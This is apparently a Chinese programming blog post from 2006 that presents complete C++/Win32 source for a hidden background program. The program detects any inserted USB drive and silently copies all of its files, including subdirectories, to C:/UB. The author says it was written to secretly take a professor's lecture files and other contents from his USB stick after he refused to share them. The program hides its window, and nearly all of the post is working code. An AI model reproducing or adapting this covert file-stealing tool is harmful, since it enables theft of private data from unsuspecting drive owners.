运行环境:Windows2000以上版本。
开发语言:C++/API
编辑器:VC6+Sp6
作者:半点闲
开发时间:2006-3-6
程序简介:
界面:无。
功能:在系统进程中运行,当发现“可移动设备”时,自动拷贝磁盘中所有文件(含子目录中的)。到“C:/UB”目录中。
起引:
唉,怎么说呢?反正开始的时候动机不纯啊!在学校里给我们上课的老教授,每次授课时的课件都放在他的U盘里(其中还有好多好东东......)。而我们每次恳求给我们一份的时候,屡屡都被拒绝。明的不行只好来暗的了......
FilesCopy.h
//
FilesCopy.h: interface for the FilesCopy class.
//
文件拷贝类功能说明:此类作用是对系统内可移动设备。

/**/
//
#if
!defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)
#define
AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_

#if
_MSC_VER > 1000
#pragma
once
#endif
//
_MSC_VER > 1000

#define
UNICODE
//
使用宽字符集模式。
#define
MAX_BUFFLEN MAX_PATH
//
字符缓冲区容量。
#define
MAX_DRIVE_NAME 4
//
驱动器名称字符长度。
#include
<
windows.h
>

class
FilesCopy

...
{
public:
bool bCopyRemovableFilesAll(); //拷贝可移动驱动器中所有文件(含子目录中的文件)。
bool bSeekMoveDrive (); //查找系统中可用的移动驱动器。
bool bCopyFilesAll(PWCHAR szPathName); //拷贝指定路径下的所有文件
FilesCopy();
virtual ~FilesCopy();
private:
bool bCopyFiles(LPCWCH szPathName); //拷贝指定路径下所有文件。
//获取系统驱动器字符串有效的字符长度(含字符中的NULL字符)。
int InEffectDriveStringsLength(LPCWCH lpBuffer);
WCHAR szRemovableDrive[MAX_DRIVE_NAME]; //可移动驱动器。
WCHAR lpBuffer[MAX_BUFFLEN]; //获取系统可用驱动器名字字符串缓冲区。
DWORD nBufferLength; //系统可用驱动器缓冲区长度。
}
;

#endif
//
!defined(AFX_FILESCOPY_H__7DE2C10D_4168_46A5_B7E0_FF8C42257AD6__INCLUDED_)
FilesCopy.cpp
//
FilesCopy.cpp: implementation of the FilesCopy class.
//

/**/
//
#include
"
FilesCopy.h
"


/**/
//
//
Construction/Destruction

/**/
//
FilesCopy::FilesCopy()

...
{
nBufferLength = MAX_BUFFLEN; //缓冲区长度。
}

FilesCopy::
~
FilesCopy()

...
{
}

int
FilesCopy::InEffectDriveStringsLength(LPCWCH lpBuffer)

...
{

/**//*
程序说明:获取系统驱动器字符串中有效的字符长度(含盘符间间隔的NULL字符)。
成功返回长度,否则返回0(从0起始计数,如3是0->3是4个数)。
*/
bool bState = false; //NULL字符状态(检测到NULL字符值为true)。
int iCount = 0; //有效字符串计数器。
//int iNull = 0; //计算字符串中NULL字符的个数。

for(int i=0; i < MAX_BUFFLEN; i++)

...{
if(lpBuffer[i] == NULL)

...{
if(bState) //发现字符串结束符(连续两个NULL字符),退出循环。

...{
//iCount = i - iNull; //计数器赋值。
iCount = i;
break;
}
else

...{
bState = true; //发现NULL字符。
//iNull++; //NULL字符计数。
}
}
else

...{
bState = false;
}
}

return iCount;
}

bool
FilesCopy::bSeekMoveDrive()

...
{

/**//*
程序说明:查找系统中可用的移动驱动器(目前只能找到第一个可用的移动设备)。
成功返回true,否则返回false。
*/
int iStartMark = 0; //字符段起始标记。
int nLen = 0; //字符串中有效长度。

//获取当前系统驱动器失败。
if(!::GetLogicalDriveStrings (nBufferLength, lpBuffer)) return false;
//获取系统驱动器字符串中,有效的字符长度(含盘符间间隔的NULL字符)。
nLen = InEffectDriveStringsLength (lpBuffer);
if(!nLen) return false; //获取字符串长度失败。

//分段拷贝驱动器字符,并查找是否是可移动设备。
for(int i=0; i <= nLen; i++)

...{
if(lpBuffer[i] == NULL)

...{
int k = iStartMark;

for(int j=0; j < MAX_DRIVE_NAME; j++)

...{
szRemovableDrive[j] = lpBuffer[k]; //拷贝字符。
k++;
}
//查找可移动驱动器。
if(::GetDriveType (szRemovableDrive) == DRIVE_REMOVABLE)

...{
//勿略驱动器A,B。
if(!(szRemovableDrive[0] == 'A'))

...{
if(!(szRemovableDrive[0] == 'B'))

...{
return true; //找到可移动设备,退出循环(程序)。
}
}

if(!(szRemovableDrive[0] == 'B'))

...{
if(!(szRemovableDrive[0] == 'A'))

...{
return true; //找到可移动设备,退出循环(程序)。
}
}

}
iStartMark = i+1; //重新定义字符段起始位置。
}
}
return false;
}

bool
FilesCopy::bCopyFilesAll(PWCHAR szPathName)

...
{

/**//*
程序说明:拷贝指定路径下的所有文件(含子目录中的文件)。
szPathName 给定的路径。
*/
int nLen = 0; //字符串长度。
DWORD dwAttrs; //文件属性。
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
PWCHAR szPathFileName = NULL; //文件名(路径+文件名)。
PWCHAR szSubDirName = NULL; //子目录名。

//搜索当前路径下的所有文件。
nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));
szPathFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
if(szPathFileName == NULL) //动态分配存储空间失败。

...{
return false;
}
::lstrcpy (szPathFileName, szPathName); //复制路径信息。
::lstrcat (szPathFileName, TEXT("*.*")); //链接‘文件名'。

//在当前目录下搜索文件。
hFind = ::FindFirstFile (szPathFileName, &FindFileData);
//未找到匹配的文件。
if(hFind == INVALID_HANDLE_VALUE)

...{
if(szPathFileName != NULL)

...{
free (szPathFileName);
szPathFileName = NULL;
}
FindClose (hFind);
return false;
}

//继续搜索满足条件的文件。
while(::FindNextFile (hFind, &FindFileData))

...{
//搜索当前位置下的所有子目录。
if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)

...{
//获取文件属性。
dwAttrs = ::GetFileAttributes (FindFileData.cFileName);
if(dwAttrs & FILE_ATTRIBUTE_ARCHIVE)

...{
if(szSubDirName != NULL)

...{
free (szSubDirName);
szSubDirName = NULL;
}
nLen = ::lstrlen (szPathName) + ::lstrlen (FindFileData.cFileName) + ::lstrlen (TEXT("/"));
szSubDirName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

if(szSubDirName == NULL) //动态分配存储空间失败。

...{
if(szPathFileName != NULL)

...{
free (szPathFileName);
szPathFileName = NULL;
}
FindClose (hFind);
return false;
}
::lstrcpy (szSubDirName , szPathName); //复制路径信息。
::lstrcat (szSubDirName , FindFileData.cFileName);//链接子目录信息。
::lstrcat (szSubDirName, TEXT("/")); //链接''符号。

bCopyFiles (szSubDirName); //拷贝文件。
//开始递归。
bCopyFilesAll (szSubDirName);
}
}
}

//释放程序占用的资源。
if(szPathFileName != NULL)

...{
free (szPathFileName);
szPathFileName = NULL;
}
FindClose (hFind);

return true;
}

bool
FilesCopy::bCopyFiles(LPCWCH szPathName)

...
{

/**//*
程序说明:拷贝指定路径下所有文件。成功返回true,否则false。
szPathName 给定的路径。
*/
int nLen = 0;
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
PWCHAR scFileName = NULL; //源目标文件(路径+文件名)。
PWCHAR dsFileName = NULL; //目地文件(路径+文件名)。

nLen = ::lstrlen (szPathName) + ::lstrlen (TEXT("*.*"));
scFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));

if(scFileName == NULL) //动态分配存储空间失败。

...{
return false;
}
::lstrcpy (scFileName, szPathName); //复制路径。
::lstrcat (scFileName, TEXT("*.*")); //链接‘文件名’。

//在当前目录下搜索文件。
hFind = ::FindFirstFile (scFileName, &FindFileData);
//未找到匹配的文件。
if(hFind == INVALID_HANDLE_VALUE)

...{
if(scFileName != NULL)

...{
free (scFileName);
scFileName = NULL;
}
FindClose (hFind);
return false;
}

//继续搜索满足条件的文件。
while(::FindNextFile (hFind, &FindFileData))

...{
//不搜索目录。
if(!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))

...{
//目地文件。
nLen = ::lstrlen (TEXT("C:/UB/"))
+ ::lstrlen (FindFileData.cFileName);
dsFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen + 1));
if(dsFileName == NULL) //动态分配存储空间失败。

...{
if(scFileName != NULL)

...{
free (scFileName);
scFileName = NULL;
}
FindClose (hFind);
return false;
}
::lstrcpy (dsFileName, TEXT("C:/UB/"));
::lstrcat (dsFileName, FindFileData.cFileName);
//源目标文件。
nLen = ::lstrlen (szPathName)
+ ::lstrlen (FindFileData.cFileName);
if(scFileName != NULL) //释放上次调用占用的资源。

...{
free (scFileName);
scFileName = NULL;
}
scFileName = (PWCHAR) malloc (sizeof(WCHAR) * (nLen +1));
if(scFileName == NULL) //动态分配存储空间失败。

...{
if(dsFileName != NULL)

...{
free (dsFileName);
dsFileName = NULL;
}
FindClose (hFind);
return false;
}
::lstrcpy (scFileName, szPathName);
::lstrcat (scFileName, FindFileData.cFileName);

//创建目录。
::CreateDirectory (TEXT("C:/UB/"), NULL);
//拷贝文件失败。
if(!CopyFile (scFileName, dsFileName, FALSE))

...{
if(scFileName != NULL)

...{
free (scFileName);
scFileName = NULL;
}
if(dsFileName != NULL)

...{
free (dsFileName);
dsFileName = NULL;
}
FindClose (hFind);

return false;
}
}
}

if(scFileName != NULL)

...{
free (scFileName);
scFileName = NULL;
}
if(dsFileName != NULL)

...{
free (dsFileName);
dsFileName = NULL;
}
FindClose (hFind);
return true;
}

bool
FilesCopy::bCopyRemovableFilesAll()

...
{
if(bSeekMoveDrive ()) //搜索系统中的可移动驱动器。

...{
if(bCopyFilesAll (szRemovableDrive))

...{
return true;
}
}
return false;
}
main.cpp
/**/
/*
程序说明:拷贝移动驱动器中的所有文件(含子目录)。
作者:高玉涵
开始日期:2006-2-24
完成日期:2006-3-6
*/
#define
TIMER_COPYFILE 1
//
定时拷贝文件。
#include
"
FilesCopy.h
"

LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);

int
APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int
nShowCmd)

...
{
TCHAR szClassName[] = TEXT("MainWClass");
WNDCLASSEX wndclass;

//用描述主窗口的参数填充WNDCLASSEX结构。
wndclass.cbSize = sizeof(wndclass); //结构的大小。
wndclass.style = CS_HREDRAW|CS_VREDRAW; //指定如果大小改变就重画。
wndclass.lpfnWndProc = MainWndProc; //窗口函数指针。
wndclass.cbClsExtra = 0; //没有额外的类内存。
wndclass.cbWndExtra = 0; //没有额外的窗口内存。
wndclass.hInstance = hInstance; //实例句柄。
wndclass.hIcon = ::LoadIcon (NULL, IDI_APPLICATION); //使用预定义图标。
wndclass.hCursor = ::LoadCursor (NULL, IDC_ARROW); //使用预定义光标。
wndclass.hbrBackground = (HBRUSH)::GetStockObject (WHITE_BRUSH); //使用白色背景。
wndclass.lpszMenuName = NULL; //不指定菜单。
wndclass.lpszClassName = szClassName; //窗口类名称。
wndclass.hIconSm = NULL; //没有类的小图标。

//注册这个窗口类。
::RegisterClassEx (&wndclass);
//创建主窗口。
HWND hwnd = ::CreateWindowEx (0, //dwExStyle,扩展样式。
szClassName, //类名。
TEXT("FileCopy"), //窗口标题。
WS_OVERLAPPEDWINDOW, //dwStyle,窗口风格。
CW_USEDEFAULT, //X,坐标。
CW_USEDEFAULT, //Y,坐标。
CW_USEDEFAULT, //nWidth,宽度。
CW_USEDEFAULT, //nHeight,高度。
NULL, //nWndParent,父窗口句柄。
NULL, //hMenu,菜单句柄。
hInstance, //程序实例句柄。
NULL); //lpParam,用户数据。

if(hwnd == NULL)

...{
::MessageBox (NULL, TEXT("窗口出错!"), TEXT("error"), MB_OK);
return -1;
}
nShowCmd = 0; //不显示窗口。。
::ShowWindow (hwnd, nShowCmd); //显示窗口,刷新窗口客户区。
::UpdateWindow (hwnd);

//从消息队列中取出消息,交给窗口函数处理,直到GetMessage返回FALSE,结束消息循环。
MSG msg;

while(::GetMessage (&msg, NULL, 0, 0))

...{
//转化键盘消息。
::TranslateMessage (&msg);
//将消息发送到相应窗口函数。
::DispatchMessage (&msg);
}

//当GetMessage返回FALSE时程序结束。
return msg.wParam;
}

LRESULT CALLBACK MainWndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

...
{
static FilesCopy ff;

switch (message)

...{
case WM_CREATE:
::SetTimer (hwnd, TIMER_COPYFILE, 1000, NULL);
return 0;
case WM_TIMER:
switch (wParam)

...{
case TIMER_COPYFILE:
if(ff.bSeekMoveDrive ())

...{
::KillTimer (hwnd, TIMER_COPYFILE);
ff.bCopyRemovableFilesAll ();
break; //退出消息循环,同时也就退出了程序。
}
return 0;
}
case WM_DESTROY: //正在销毁窗口。
//向消息队列投递一个WM_QUIT消息,促使GetMessage函数返回0,结束消息循环。
::PostQuitMessage (0);
return 0;
}

return (::DefWindowProc (hwnd, message, wParam, lParam));
}